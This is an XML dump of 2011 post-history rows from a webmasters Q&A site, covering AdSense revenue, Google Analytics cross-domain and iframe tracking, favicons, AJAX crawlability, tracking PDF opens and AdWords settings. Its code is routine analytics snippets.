  <row Id="43669" PostHistoryTypeId="2" PostId="18043" RevisionGUID="798e914a-df3f-4c04-8ee4-2a5d940e45d9" CreationDate="2011-08-10T19:36:53.487" UserId="1429" Text="The [&quot;how much money you can make out with Adsense&quot;][1] could be another scale, even if the numbers provided there are extremely optimistic.&#xD;&#xA;&#xD;&#xA;I usually see **€0.001 for each unique visitor** (with 3 ads on all blog pages).&#xD;&#xA;&#xD;&#xA;So a blog with 100 unique visitor x day (3000 unique per month) blog would be worth about 3 euros per month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quickonthenet.com/features/How-to-Make-Money-with-Google.cfm" />
  <row Id="43670" PostHistoryTypeId="2" PostId="18044" RevisionGUID="c98c69f7-1734-4322-878d-86b4506b5b5d" CreationDate="2011-08-10T19:47:58.287" UserId="1429" Text="Just two numbes:&#xD;&#xA;&#xD;&#xA; 1. how much money you are making per month&#xD;&#xA;&#xD;&#xA; 2. how many unique visitor you have per month&#xD;&#xA;&#xD;&#xA;and if you want the type of site (blog/forum, etc.)" />
  <row Id="43671" PostHistoryTypeId="1" PostId="18044" RevisionGUID="c98c69f7-1734-4322-878d-86b4506b5b5d" CreationDate="2011-08-10T19:47:58.287" UserId="1429" Text="How much money is your site making with Adsense?" />
  <row Id="43672" PostHistoryTypeId="3" PostId="18044" RevisionGUID="c98c69f7-1734-4322-878d-86b4506b5b5d" CreationDate="2011-08-10T19:47:58.287" UserId="1429" Text="&lt;google-adsense&gt;&lt;money&gt;" />
  <row Id="43673" PostHistoryTypeId="2" PostId="18045" RevisionGUID="ae88656d-751e-4826-8fbd-917a1fe9b7f5" CreationDate="2011-08-10T20:14:35.857" UserId="7682" Text="The title of a feed is &quot;unknown title&quot; in Google reader. What could be the reason? Am I correct if I'm assuming that it should be appearing similar for all the subscribers of that feed and other feed-readers (other than Google reader) as well." />
  <row Id="43674" PostHistoryTypeId="1" PostId="18045" RevisionGUID="ae88656d-751e-4826-8fbd-917a1fe9b7f5" CreationDate="2011-08-10T20:14:35.857" UserId="7682" Text="Why is the title of a RSS Feed coming as &quot;unknown title&quot; in RSS feeds reader?" />
  <row Id="43675" PostHistoryTypeId="3" PostId="18045" RevisionGUID="ae88656d-751e-4826-8fbd-917a1fe9b7f5" CreationDate="2011-08-10T20:14:35.857" UserId="7682" Text="&lt;title&gt;&lt;feeds&gt;" />
  <row Id="43676" PostHistoryTypeId="25" PostId="16766" RevisionGUID="752133a9-7bed-4872-9314-94d18c8910d5" CreationDate="2011-08-10T20:34:16.760" Comment="http://twitter.com/#!/StackWebmasters/status/101390933475590144" />
  <row Id="43677" PostHistoryTypeId="2" PostId="18046" RevisionGUID="47e8533d-c767-4931-bcc7-40bc3bac8983" CreationDate="2011-08-10T21:02:23.643" UserId="5464" Text="It does not look like it is really viable. I read a number of articles which talked about some sort of beacon with in the document to indicate someone had read it, but the main draw back is that pdf reader warns the user for privacy reasons. &#xD;&#xA;&#xD;&#xA;If the document has links back out to the web and the same site you could consider adding URL tracking parameters to those although not as accurate open it could give some form open and read rate. &#xD;&#xA;&#xD;&#xA;The link below takes you to a short article discussing the question:&#xD;&#xA;&#xD;&#xA;[Track who opens a pdf][1]&#xD;&#xA;&#xD;&#xA;It would appear simple to track downloads how ever: &#xD;&#xA;&#xD;&#xA;[Track document downloads Google Analyticsw][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://compgroups.net/comp.text.pdf/Track-who-opens-a-PDF&#xD;&#xA;  [2]: http://www.siliconbeachtraining.co.uk/free-resources/how-to-track-virtual-page-views-in-google-analytics/" />
  <row Id="43678" PostHistoryTypeId="2" PostId="18047" RevisionGUID="f7103405-4ef3-4dc7-b3eb-13e8a226a2e8" CreationDate="2011-08-10T21:06:30.860" UserId="9517" Text="I've followed Google's instructions on tracking iframed content on another domain ([http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#trackingIFrames][1]) as best I can, yet there is still no data showing up in Analytics for the iframed page. &#xD;&#xA;&#xD;&#xA;Parent page ([http://www.blackangus.com/primeclub/][2]):&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        var _gaq = _gaq || [];&#xD;&#xA;        _gaq.push(['_setAccount', 'UA-6916418-23']);&#xD;&#xA;        _gaq.push(['_setDomainName', 'blackangus.com']);&#xD;&#xA;        _gaq.push(['_setAllowLinker', true]); &#xD;&#xA;        _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;        (function() {&#xD;&#xA;            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;        })();&#xD;&#xA;&#xD;&#xA;        &#xD;&#xA;        var iframeLink = &quot;http://www.fishbowl.com/clt/blckangus/lp/join/joinform.asp&quot;;&#xD;&#xA;        jQuery(function() {&#xD;&#xA;            _gaq.push(function() {&#xD;&#xA;                var pageTracker = _gat._getTrackerByName();&#xD;&#xA;                iframeLink = pageTracker._getLinkerUrl(iframeLink);&#xD;&#xA;                jQuery(&quot;#joinform&quot;).attr(&quot;src&quot;, iframeLink);&#xD;&#xA;            });&#xD;&#xA;        });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And the iframed page([http://www.fishbowl.com/clt/blckangus/lp/join/joinform.asp][3]):&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    	var _gaq = _gaq || []; &#xD;&#xA;    	_gaq.push(['_setAccount', 'UA-6916418-23']); &#xD;&#xA;    	_gaq.push(['_setDomainName', 'blackangus.com']); &#xD;&#xA;    	_gaq.push(['_setAllowHash', 'false']); &#xD;&#xA;    	_gaq.push(['_setAllowLinker', true]); &#xD;&#xA;    	_gaq.push(['_trackPageview']); &#xD;&#xA;    	&#xD;&#xA;    	(function() { var ga = document.createElement('script'); &#xD;&#xA;    		ga.type = 'text/javascript'; &#xD;&#xA;    		ga.async = true; &#xD;&#xA;    		ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') '.google-analytics.com/ga.js'; &#xD;&#xA;    		var s = document.getElementsByTagName('script')[0]; &#xD;&#xA;    		s.parentNode.insertBefore(ga, s); &#xD;&#xA;    	})(); &#xD;&#xA;    &lt;/script&gt; &#xD;&#xA;&#xD;&#xA;What am I doing wrong? Why won't the iframed page show up in Analytics?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#trackingIFrames&#xD;&#xA;  [2]: http://www.blackangus.com/primeclub/&#xD;&#xA;  [3]: http://www.fishbowl.com/clt/blckangus/lp/join/joinform.asp" />
  <row Id="43679" PostHistoryTypeId="1" PostId="18047" RevisionGUID="f7103405-4ef3-4dc7-b3eb-13e8a226a2e8" CreationDate="2011-08-10T21:06:30.860" UserId="9517" Text="Tracking an iframed page hosted on another domain with Google Analytics" />
  <row Id="43680" PostHistoryTypeId="3" PostId="18047" RevisionGUID="f7103405-4ef3-4dc7-b3eb-13e8a226a2e8" CreationDate="2011-08-10T21:06:30.860" UserId="9517" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="43684" PostHistoryTypeId="2" PostId="18049" RevisionGUID="5db422a5-ebf4-46b6-869a-45dc5b493117" CreationDate="2011-08-10T21:15:57.910" UserId="231" Text="Is there a reason why a _favicon.ico_ is not showing in Safari 5.1 on Mac? It shows on every other browser I have tested except the above mentioned one. In Safari on Windows it shows.&#xD;&#xA;&#xD;&#xA;I've declared it like this:&lt;br /&gt;&#xD;&#xA;`&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.dixitsolutions.com/favicon.ico&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;The page is here: http://www.dixitsolutions.com/" />
  <row Id="43685" PostHistoryTypeId="1" PostId="18049" RevisionGUID="5db422a5-ebf4-46b6-869a-45dc5b493117" CreationDate="2011-08-10T21:15:57.910" UserId="231" Text="Favicon not showing in Safari 5.1" />
  <row Id="43686" PostHistoryTypeId="3" PostId="18049" RevisionGUID="5db422a5-ebf4-46b6-869a-45dc5b493117" CreationDate="2011-08-10T21:15:57.910" UserId="231" Text="&lt;favicon&gt;&lt;safari&gt;" />
  <row Id="43687" PostHistoryTypeId="2" PostId="18050" RevisionGUID="3af90950-4c6b-48f4-ad27-2975727fa91f" CreationDate="2011-08-10T21:17:50.263" UserId="9516" Text="**Note: I emailed the SE team directly because I wanted their thoughts specifically, they asked me to post here so everyone can share the knowledge. I apologize that this could be a potentially subjective question.**&#xD;&#xA;&#xD;&#xA;I currently run a small web-app that connects local businesses with new customers in a very specific niche. In the past few months this model has worked very well and the growth is excellent, so much so in fact that I'm preparing to expand the app to support multiple sites/niches. Ultimately it will be structured very similarly to StackExchange in that each site will have it's own domain, design and focus, but running off of the same platform.&#xD;&#xA;&#xD;&#xA;With that said, I've been trying to think of the best way to handle the analytics (specifically Google Analytics) for this setup.&#xD;&#xA;&#xD;&#xA;My two requirements are basically that I want to be able to see aggregate statistics for all sites so that I can get an overview of how the system is performing generally on a day-to-day basis, but also be able to narrow down to specific site and track at that level for SEO, marketing, and debugging purposes.&#xD;&#xA;&#xD;&#xA;What I'm hoping is that other people who may have done this or have more experience with Google Analytics may be able to tell me whether I would be better off creating one multi-domain analytics profile (and figuring out how to break it out by site) or creating a profile for each site and having the unique profile id configured with the sites in my system.&#xD;&#xA;&#xD;&#xA;From a development standpoint I would much rather do the former.&#xD;&#xA;&#xD;&#xA;Thank you in advance for your time and insights!" />
  <row Id="43688" PostHistoryTypeId="1" PostId="18050" RevisionGUID="3af90950-4c6b-48f4-ad27-2975727fa91f" CreationDate="2011-08-10T21:17:50.263" UserId="9516" Text="How to configure Google Analytics in a StackExchange-like setup (one app, multiple sites)" />
  <row Id="43689" PostHistoryTypeId="3" PostId="18050" RevisionGUID="3af90950-4c6b-48f4-ad27-2975727fa91f" CreationDate="2011-08-10T21:17:50.263" UserId="9516" Text="&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="43691" PostHistoryTypeId="4" PostId="18050" RevisionGUID="a3b031ab-988e-4960-8aba-316af0a972a7" CreationDate="2011-08-10T21:27:20.140" UserId="3" Comment="edited title" Text="One multi-domain analytics profile, or one analytics profiles per domain?" />
  <row Id="43692" PostHistoryTypeId="5" PostId="18050" RevisionGUID="a3b031ab-988e-4960-8aba-316af0a972a7" CreationDate="2011-08-10T21:27:20.140" UserId="3" Comment="edited title" Text="I currently run a small web-app that connects local businesses with new customers in a very specific niche. In the past few months this model has worked very well and the growth is excellent, so much so in fact that I'm preparing to expand the app to support multiple sites/niches. Ultimately it will be structured very similarly to StackExchange in that each site will have it's own domain, design and focus, but running off of the same platform.&#xD;&#xA;&#xD;&#xA;With that said, I've been trying to think of the best way to handle the analytics (specifically Google Analytics) for this setup.&#xD;&#xA;&#xD;&#xA;My two requirements are basically that I want to be able to see aggregate statistics for all sites so that I can get an overview of how the system is performing generally on a day-to-day basis, but also be able to narrow down to specific site and track at that level for SEO, marketing, and debugging purposes.&#xD;&#xA;&#xD;&#xA;What I'm hoping is that other people who may have done this or have more experience with Google Analytics may be able to tell me whether I would be better off creating one multi-domain analytics profile (and figuring out how to break it out by site) or creating a profile for each site and having the unique profile id configured with the sites in my system.&#xD;&#xA;&#xD;&#xA;From a development standpoint I would much rather do the former.&#xD;&#xA;&#xD;&#xA;Thank you in advance for your time and insights!" />
  <row Id="43693" PostHistoryTypeId="2" PostId="18051" RevisionGUID="3f753e08-e548-43d0-85e9-f719c480b3c8" CreationDate="2011-08-10T22:20:52.080" UserId="9518" Text="Note: I would be using JavascriptMVC for front-end and Symfony2 for back-end.&#xD;&#xA;&#xD;&#xA;at the moment after brainstorming I imagine it should flow like this.&#xD;&#xA;&#xD;&#xA;a example of a hyperlink href: /profile/klj613/&#xD;&#xA;however the controller handles the click event and stop the default handler and uses this href instead: #!/profile/klj613&#xD;&#xA;&#xD;&#xA;then using a router one of the main controllers handles the profile page using a patten e.g. /profile/[a-zA-Z0-9]&#xD;&#xA;&#xD;&#xA;then the controller changes the state of the DOM/html to remove unnecessary widgets (e.g. profile viewer) and insert ones which ain't existent, whilst leaving common/constant widgets state untouched&#xD;&#xA;&#xD;&#xA;whilst the traditional URL request still works with back-end router e.g. /profile/klj613/ therefore non-js users can still use the website&#xD;&#xA;&#xD;&#xA;also i use the '!' in the hash segment therefore google will convert the URL therefore the backend knows what to display.&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;/profile/klj613/#!/profile/testuser/&#xD;&#xA;-&gt;&#xD;&#xA;/profile/klj613?_escaped_fragment_=/profile/testuser/&#xD;&#xA;&#xD;&#xA;and in the backend (php) i override the normal URI with the value in _escaped_fragment_&#xD;&#xA;/profile/klj613?_escaped_fragment_=/profile/testuser/&#xD;&#xA;-&gt;&#xD;&#xA;/profile/testuser/&#xD;&#xA;&#xD;&#xA;therefore /profile/klj613/#!/profile/testuser/ is actually /profile/testuser/&#xD;&#xA;&#xD;&#xA;also the fact in the HTML returned by the initial http request the href is a traditional href crawl-able shouldn't be a issue, but somone pasting a friendly link with the hash element wouldnt be crawl-able which is why I would also use the '!' way explained above to be more friendly with google&#xD;&#xA;&#xD;&#xA;one issue i foresee is when the URI #!/profile/klj613 is loaded then params used for other widgets (e.g. tabs in a sidebar) wouldn't exist whilst the sidebar maybe constant among both URI's of the profile page, and another page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't make websites much but I like to learn new things and I've never fully understood how to properly create a fully ajax website&#xD;&#xA;&#xD;&#xA;could anyone enlighten me how i should create a website which is:&#xD;&#xA;&#xD;&#xA;fully ajax&#xD;&#xA;works without js (fallback to traditional http requests)&#xD;&#xA;crawlable links&#xD;&#xA;&#xD;&#xA;sorry if this is hard to follow&#xD;&#xA;&#xD;&#xA;thanks in advance :)" />
  <row Id="43694" PostHistoryTypeId="1" PostId="18051" RevisionGUID="3f753e08-e548-43d0-85e9-f719c480b3c8" CreationDate="2011-08-10T22:20:52.080" UserId="9518" Text="how should i manage a complete ajax app?" />
  <row Id="43695" PostHistoryTypeId="3" PostId="18051" RevisionGUID="3f753e08-e548-43d0-85e9-f719c480b3c8" CreationDate="2011-08-10T22:20:52.080" UserId="9518" Text="&lt;seo&gt;&lt;google&gt;&lt;ajax&gt;&lt;mvc&gt;" />
  <row Id="43696" PostHistoryTypeId="25" PostId="5843" RevisionGUID="48d2cc90-e8ae-4fe3-9307-e3b34a805eca" CreationDate="2011-08-10T22:34:17.690" Comment="http://twitter.com/#!/StackWebmasters/status/101421136675487745" />
  <row Id="43697" PostHistoryTypeId="2" PostId="18052" RevisionGUID="05812ca2-1c2a-4fd5-9ac3-78be2e7e9e9c" CreationDate="2011-08-10T22:59:10.960" UserId="7198" Text="Adobe have a server product snappily titled [&quot;Adobe LiveCycle Rights Management EC2&quot;](http://www.adobe.com/products/livecycle/rightsmanagement/) which aims to provide an audit trail of who has opened and printed a document, and can even revoke reading rights to a PDF file remotely. It's designed to keep confidential documents safe, so it may or may not apply to your situation.&#xD;&#xA;&#xD;&#xA;As discussed in [&quot;is there a simple way to make a PDF call home?&quot;](http://www.lessig.org/blog/2006/12/is_there_a_simple_way_to_make.html), users generally don't trust PDFs that they suspect to be phoning home, and the technical hurdles of doing it with 'vanilla' PDFs in a wide range of readers don't make it viable:&#xD;&#xA;&#xD;&#xA;&gt; Yes, you could [phone home] with some embedded JavaScript inside the PDF.&#xD;&#xA;&gt; However, you won't be able to have this automatically run when the&#xD;&#xA;&gt; document is opened - the Acrobat JavaScript spec doesn't provide a&#xD;&#xA;&gt; hook for this. It will allow you to run this check automatically when&#xD;&#xA;&gt; the document is saved, closed or printed but not when it is opened&#xD;&#xA;&gt; (probably for security reasons). Alternatively, you could have this&#xD;&#xA;&gt; check be user-initiated by placing a link/button on the first page of&#xD;&#xA;&gt; the PDF and run the JavaScript from there.&#xD;&#xA;&#xD;&#xA;The 'put a button on the first page of the PDF that runs some JavaScript' idea is a nice one, but...&#xD;&#xA;&#xD;&#xA;&gt; All of this assumes you're using Acrobat as your reader.&#xD;&#xA;&#xD;&#xA;Speaking personally, I haven't had Acrobat installed on my computer for about five years, and know many who avoid it because PDF readers are built into many OSes now. (I use Preview on the Mac.)&#xD;&#xA;&#xD;&#xA;Also see [&quot;Do PDFs have the ability to phone home&quot;](http://superuser.com/questions/50542/do-pdfs-have-the-ability-to-phone-home) on Super User, which confirms that PDFs don't have the ability to 'phone home' automatically by default without any user intervention at all, except through scripted vulnerabilities that only affect certain PDF readers.&#xD;&#xA;&#xD;&#xA;In short, unless you're prepared to use (and pay for) rights management software, and force people who wish to read the PDFs into using a specific reader and following a given set of instructions to open the file, tracking opens and pageviews is difficult or impossible. Unfortunately, that makes it unreliable to the point where it's not likely to prove a useful metric of reader engagement.&#xD;&#xA;&#xD;&#xA;If you're looking for some data to provide to partners who place adverts in the PDF, I would suggest:&#xD;&#xA; 1. Offering number of downloads per issue.&#xD;&#xA; 2. Offering them a [tagged link](http://www.google.com/support/analytics/bin/answer.py?answer=55518) in any PDF ads they place so they can track click-through." />
  <row Id="43698" PostHistoryTypeId="25" PostId="18050" RevisionGUID="1bc629a4-e210-40c5-8a8d-45d7c362caf2" CreationDate="2011-08-11T00:34:17.400" Comment="http://twitter.com/#!/StackWebmasters/status/101451335119028224" />
  <row Id="43699" PostHistoryTypeId="25" PostId="18041" RevisionGUID="93422dc7-c3dd-47a8-ac99-b01aba420fdd" CreationDate="2011-08-11T02:34:17.960" Comment="http://twitter.com/#!/StackWebmasters/status/101481534271389696" />
  <row Id="43700" PostHistoryTypeId="25" PostId="3910" RevisionGUID="cffc9acb-073e-46b7-9c73-39ffe014c666" CreationDate="2011-08-11T04:34:17.950" Comment="http://twitter.com/#!/StackWebmasters/status/101511733880954880" />
  <row Id="43701" PostHistoryTypeId="2" PostId="18053" RevisionGUID="5ec4657d-dabf-41dd-b774-46562b767021" CreationDate="2011-08-11T04:34:39.860" UserId="9500" Text="Assuming that Safari on Mac is showing favicons for other websites (try any stackexchange website), you probably need to [clear the browser cache][1].&#xD;&#xA;&#xD;&#xA;Also, try adding a random number (using JS or Server-script like PHP) to your favicon reference, like below:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.dixitsolutions.com/favicon.ico?23189123&quot; /&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://hints.macworld.com/article.php?story=20030216085845456&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43702" PostHistoryTypeId="2" PostId="18054" RevisionGUID="c163021e-c0cd-40dc-ba6c-acea5a4c0c42" CreationDate="2011-08-11T04:46:08.293" UserId="3" Text="Neither method is perfect; both have their pros and cons.&#xD;&#xA;&#xD;&#xA;It is definitely *simpler* to have one distinct Google Analytics key for every domain or subdomain. There is no question about this. However, that breaks down when you have, say, dozens or hundreds of domains.&#xD;&#xA;&#xD;&#xA;If you have many **SUBdomains** using the same Google Analytics key, you must push the domain name on each request, like so.&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || []; &#xD;&#xA;    _gaq.push(['_setAccount', 'UA-5620270-24']); &#xD;&#xA;    _gaq.push(['_setDomainName', '.stackexchange.com']); &#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;Then you can segment fairly easily based on Hostname... just use the **Advanced Segments** dropdown in the top right and create a segment for `hostname=&quot;gaming.stackexchange.com&quot;` or something similar. &#xD;&#xA;You can even make aggregate segments `hostname=&quot;gaming.stackexchange.com&quot; OR hostname=&quot;webapps.stackexchange.com&quot; OR hostname=&quot;cooking.stackexchange.com&quot;` etc.&#xD;&#xA;&#xD;&#xA;If you have many **different domains**, it's [much harder][1].&#xD;&#xA;&#xD;&#xA;&gt; Call the `_link()` method in any links between the domains. If your current links have the form: &#xD;&#xA;&gt; &#xD;&#xA;&gt; `&lt;a href=&quot;https://www.secondsite.com/?login=parameters&quot;&gt;Login Now&lt;/a&gt; `&#xD;&#xA;&gt; &#xD;&#xA;&gt; change them to: &#xD;&#xA;&gt; &#xD;&#xA;&gt; `&lt;a href=&quot;https://www.secondsite.com/?login=parameters&quot; &#xD;&#xA;onclick=&quot;_gaq.push(['_link', 'http://www.firstsite.com']); return false;&quot;&gt;Login Now&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;For different domains, we simply use different Google Analytics keys..&#xD;&#xA;&#xD;&#xA;[1]: http://www.google.com/support/analytics/bin/answer.py?hl=en_US&amp;answer=175538&amp;utm_id=ad" />
  <row Id="43703" PostHistoryTypeId="2" PostId="18055" RevisionGUID="8188a9cc-9943-480e-a092-07f00dee4e89" CreationDate="2011-08-11T05:14:07.290" UserId="9521" Text="There is further information about cross domain tracking [here][1]. As Jeff mentioned, cross domain tracking is not for the faint hearted but can be achieved with a few lines of jQuery code that picks out the links and adds the oppropriate tracking call. You may also need to add tracking calls to forms if they post between the domains.&#xD;&#xA;&#xD;&#xA;If you are trying to see how your network of sites is performing as a whole and perhaps setup goals that involve multiple sites it is really the only way to go.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html" />
  <row Id="43704" PostHistoryTypeId="2" PostId="18056" RevisionGUID="8d51921a-8bf8-43ba-8a02-e4bb17944535" CreationDate="2011-08-11T05:37:01.943" UserId="9522" Text="I am wondering if there is a professional network for webmasters, web developers or SEO?&#xD;&#xA;&#xD;&#xA;I have seen many niche networks, but never one oriented to web professionals." />
  <row Id="43705" PostHistoryTypeId="1" PostId="18056" RevisionGUID="8d51921a-8bf8-43ba-8a02-e4bb17944535" CreationDate="2011-08-11T05:37:01.943" UserId="9522" Text="Is there a social network for webmasters?" />
  <row Id="43706" PostHistoryTypeId="3" PostId="18056" RevisionGUID="8d51921a-8bf8-43ba-8a02-e4bb17944535" CreationDate="2011-08-11T05:37:01.943" UserId="9522" Text="&lt;untagged&gt;" />
  <row Id="43707" PostHistoryTypeId="2" PostId="18057" RevisionGUID="bacb6990-5c98-42a1-9695-74e150d6267b" CreationDate="2011-08-11T05:47:50.557" UserId="3" Text="Make sure you validate the feed, at least:&#xD;&#xA;&#xD;&#xA;http://validator.w3.org/feed/&#xD;&#xA;&#xD;&#xA;Doesn't guarantee it will work, but certainly *helps*." />
  <row Id="43708" PostHistoryTypeId="5" PostId="18041" RevisionGUID="e86973d0-cf73-4ae4-a31c-5c9ebce3f060" CreationDate="2011-08-11T05:49:44.033" UserId="3" Comment="added 20 characters in body" Text="Many users of my website asked for keyboard shortcuts to access commonly viewed pages. I know that links may have `accesskey` but to access them is [inconsistent across browsers][1]. I'm going to use JavaScript to detect shortcut and I would like your input on what the modifier key(s) should be. I'm leaning toward &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Access_key" />
  <row Id="43710" PostHistoryTypeId="2" PostId="18058" RevisionGUID="4d6cf233-80aa-4ba6-84fc-28d493ebf95f" CreationDate="2011-08-11T05:53:48.613" UserId="3" Text="Seems that [this is possible][1]:&#xD;&#xA;&#xD;&#xA;&gt; ### Ad Scheduling&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ad Scheduling (also known as &quot;day parting&quot;) lets you tell Google exactly when you want your ads to run, and more importantly, when you do not want them to run. In addition, more advanced users can automatically modify their bids based on time-of-day and day-of-week cycles in campaign performance.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ad Scheduling can help you with improving ROI for your display campaigns by ensuring that your ads show at times where it performs the best. For example, if you notice that you are getting the most conversions from Monday to Friday and nothing on Saturday and Sunday, you can schedule your ads to appear only during those times so that you are maximizing your ad's performance with your given budget.&#xD;&#xA;&#xD;&#xA;It also says &quot;You can set an ad schedule for particular hours of the day, or specific days of the week&quot;, so this looks like what you want. Still might be a fair bit of work to set up, of course...&#xD;&#xA;&#xD;&#xA;[1]: http://adwords.google.com/support/aw/bin/static.py?hl=en&amp;topic=27470&amp;guide=27459&amp;page=guide.cs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43711" PostHistoryTypeId="6" PostId="18056" RevisionGUID="2a1c379e-36e3-4ce0-9c06-e61d7f72d43a" CreationDate="2011-08-11T05:56:44.960" UserId="3" Comment="edited tags" Text="&lt;social-networks&gt;" />
  <row Id="43715" PostHistoryTypeId="10" PostId="18044" RevisionGUID="8e0c7031-3150-4236-a00c-9d661d901f58" CreationDate="2011-08-11T06:03:10.303" UserId="3" CloseReasonId="3" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="43716" PostHistoryTypeId="10" PostId="18051" RevisionGUID="5db5e8c3-9f08-4a70-9f4a-d1a8f6f05a20" CreationDate="2011-08-11T06:03:57.120" UserId="3" CloseReasonId="2" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="43721" PostHistoryTypeId="10" PostId="17915" RevisionGUID="78a701f2-fa25-4a17-9265-b24d5a524fda" CreationDate="2011-08-11T06:09:04.537" UserId="3" CloseReasonId="2" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="43723" PostHistoryTypeId="6" PostId="1015" RevisionGUID="b44ccde2-814e-4af3-ae60-7afeab39bfe8" CreationDate="2011-08-11T06:13:30.737" UserId="901" Comment="edited tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;alternative&gt;&lt;surveys&gt;" />
  <row Id="43724" PostHistoryTypeId="17" PostId="18059" RevisionGUID="65a15090-e746-4477-a95e-742b339c4881" CreationDate="2011-08-11T06:19:27.567" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/17974/adwords-how-to-optimize-for-only-one-or-two-conversion-types" Text="" />
  <row Id="43725" PostHistoryTypeId="2" PostId="18059" RevisionGUID="7e27dd53-aae5-4e26-bb05-d013333964e6" CreationDate="2011-08-09T22:12:59.883" UserId="9489" Text="I've checked: &quot;Use my conversion tracking data and bids to optimize for conversions&quot;&#xD;&#xA;&#xD;&#xA;I have 3 conversion types, but one of these is not relevant in terms of the optimization.&#xD;&#xA;&#xD;&#xA;How do I get Adwords to focus on one or two relevant conversion(s)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43726" PostHistoryTypeId="1" PostId="18059" RevisionGUID="7e27dd53-aae5-4e26-bb05-d013333964e6" CreationDate="2011-08-09T22:12:59.883" UserId="9489" Text="Adwords: How to optimize for only one or two conversion types" />
  <row Id="43727" PostHistoryTypeId="3" PostId="18059" RevisionGUID="7e27dd53-aae5-4e26-bb05-d013333964e6" CreationDate="2011-08-09T22:12:59.883" UserId="9489" Text="&lt;google-adwords&gt;" />
  <row Id="43728" PostHistoryTypeId="25" PostId="18056" RevisionGUID="6c17a305-f88f-4349-b6e9-e6810d667882" CreationDate="2011-08-11T06:34:17.410" Comment="http://twitter.com/#!/StackWebmasters/status/101541931397550081" />
  <row Id="43729" PostHistoryTypeId="2" PostId="18060" RevisionGUID="8740fcf2-df17-4392-819c-f5b6cf9c0bef" CreationDate="2011-08-11T06:35:47.157" UserId="9525" Text="Use both! It's at the cost of page loading times, but it will give you detailed statistics. &#xD;&#xA;&#xD;&#xA;Normally both code blocks don't conflict with each other." />
  <row Id="43730" PostHistoryTypeId="2" PostId="18061" RevisionGUID="67d81372-eed8-46b4-b661-070985d17eda" CreationDate="2011-08-11T06:50:59.163" UserId="5013" Text="Is there a way to find the content on a defunct website or blog?&#xD;&#xA;How do you find the content that was on a website from two or three years back?&#xD;&#xA;&#xD;&#xA;Google cache doesn't appear to hold information from that long ago.&#xD;&#xA;I've used Wayback machine, but the content they show is limited -- on less popular sites/blogs sometimes there is no content at all.&#xD;&#xA;&#xD;&#xA;Does anyone know of other sources, aside from Wayback Machine that can show me the content that was on a now defunct (taken down 1-5 years ago) website or blog." />
  <row Id="43731" PostHistoryTypeId="1" PostId="18061" RevisionGUID="67d81372-eed8-46b4-b661-070985d17eda" CreationDate="2011-08-11T06:50:59.163" UserId="5013" Text="Index of Content on a Defunct Website/Blog" />
  <row Id="43732" PostHistoryTypeId="3" PostId="18061" RevisionGUID="67d81372-eed8-46b4-b661-070985d17eda" CreationDate="2011-08-11T06:50:59.163" UserId="5013" Text="&lt;cache&gt;" />
  <row Id="43733" PostHistoryTypeId="17" PostId="18062" RevisionGUID="af5e8956-874c-4a2c-84b6-c6674c57763e" CreationDate="2011-08-11T06:53:52.220" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18004/are-there-any-further-steps-that-can-be-taken-to-improve-the-quality-of-adwords-t" Text="" />
  <row Id="43734" PostHistoryTypeId="2" PostId="18062" RevisionGUID="b59746b9-04a7-4b2a-8032-61cb46eb01a8" CreationDate="2011-08-10T22:46:14.097" UserId="8519" Text="Like all PPC engines, the traffic available from AdWords suffers from click fraud, low quality partner networks and aggressive competition. These factors can often mean you pay for clicks you don't want or need. Of course Google do an excellent job in cleaning this up, but often poor quality traffic gets through the net. Is there anything online marketers can do to further filter, monitor and clean up these clicks?" />
